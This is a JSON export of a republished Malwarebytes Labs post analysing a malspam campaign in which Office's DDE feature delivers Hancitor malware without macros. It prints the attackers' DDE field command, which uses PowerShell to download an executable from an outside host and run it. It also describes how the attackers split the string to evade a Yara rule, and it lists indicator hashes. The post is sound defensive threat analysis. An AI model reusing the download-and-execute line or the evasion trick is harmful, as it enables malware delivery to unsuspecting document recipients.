{"id":9936,"date":"2017-10-17T08:10:54","date_gmt":"2017-10-17T16:10:54","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/10\/17\/news-3709\/"},"modified":"2017-10-17T08:10:54","modified_gmt":"2017-10-17T16:10:54","slug":"news-3709","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/10\/17\/news-3709\/","title":{"rendered":"Old MS Office feature weaponized in malspam attacks"},"content":{"rendered":"

Credit to Author: J\u00e9r\u00f4me Segura| Date: Tue, 17 Oct 2017 15:00:16 +0000<\/strong><\/p>\n

There has been a lot of talks recently following a write up and proof of concept<\/a>\u00a0about a Microsoft Office feature that can be misused and weaponized by malicious actors. The protocol, known as\u00a0Dynamic Data Exchange<\/a> (DDE), has actually been around for a long time, and allows applications to exchange data and send updates to each other. This feature can be used, for example, to refresh a cell in Excel with data coming from another program.<\/p>\n

Now threat actors are using this feature to distribute malware without relying on macros or exploits.<\/p>\n

Perhaps what makes this technique most interesting is the fact that malicious actors can craft booby trapped documents void of any macro and still achieve code execution. Macros have been a favourite among spammers but they are highly suspicious, and many system administrators have set up group policies to disable them completely. This is why cybercriminals seek out any other way to deliver malware via Office files.<\/p>\n

In the case of the DDE method, no exploits are used. Instead, a social engineering technique is employed to entice users into clicking a prompt.<\/p>\n

First, the DDE was used in some targeted attacks<\/a>. However, now it has become mainstream with the group behind Hancitor (spotted by<\/a> @James_inthe_box <\/a>and DDE identified by<\/a> @mesa_matt<\/a>), who leveraged it in their latest spam campaign.<\/p>\n

\"\"<\/a><\/p>\n

We can find where the malicious code is inserted by checking for any reference to DDE within the document’s code. Didier Stevens\u00a0<\/a>published a Yara rule<\/a> for this very purpose, but it seems the miscreants evaded detection by splitting the string of interest:<\/p>\n

\"\"<\/p>\n

The final code put together looks like this:<\/p>\n

\"DdE\" c:\\Windows\\System32\\cmd.exe \" \/k powershell.exe (New-Object System.Net.  WebClient).DownloadFile('http:\/\/frontiertherapycenter[.]com\/16.exe',  '%TEMP%\\tvs.exe');Start-Process '%TEMP%\\tvs.exe'\"<\/w:instrText><\/pre>\n
The rest of the attack is straight forward, with PowerShell downloading and running the malicious binary (Hancitor) from the %temp% folder.<\/p>\n
Office and malspam<\/h3>\n
Microsoft Office is being abused in both targeted and large-scale campaigns by malware authors who use a wide variety of techniques to execute malicious code. The DDE method is not new at all, but it is an example of how forgotten features can come back to haunt us.<\/p>\n
Microsoft did not deem this a vulnerability, and so far has not decided to release a patch to render it harmless. One has to wonder how many people are still using DDE for legitimate purposes and consider the validity of retaining it.<\/p>\n
Malwarebytes users are already protected against this latest campaign and similar ones.<\/p>\n
\"\"<\/p>\n
Indicators of compromise<\/h3>\n
Word document<\/p>\n
f945105f5a0bc8ea0d62a28ee62883ffc14377b6abec2d0841e88935fd8902d3<\/pre>\n
Hancitor<\/p>\n
8f94cee61a76c7b9612381978876dcd996c15ae8da50fd75d700a05df571d10a<\/pre>\n
The post Old MS Office feature weaponized in malspam attacks<\/a> appeared first on Malwarebytes Labs<\/a>.<\/p>\n
https:\/\/blog.malwarebytes.com\/feed\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Credit to Author: J\u00e9r\u00f4me Segura| Date: Tue, 17 Oct 2017 15:00:16 +0000<\/strong><\/p>\n\n\n\n
<\/a><\/td>\n<\/tr>\n
An old Microsoft Office feature has been brought back to the forefront as way to distribute malware without relying on macros or exploits.<\/p>\n
Categories: <\/p>\n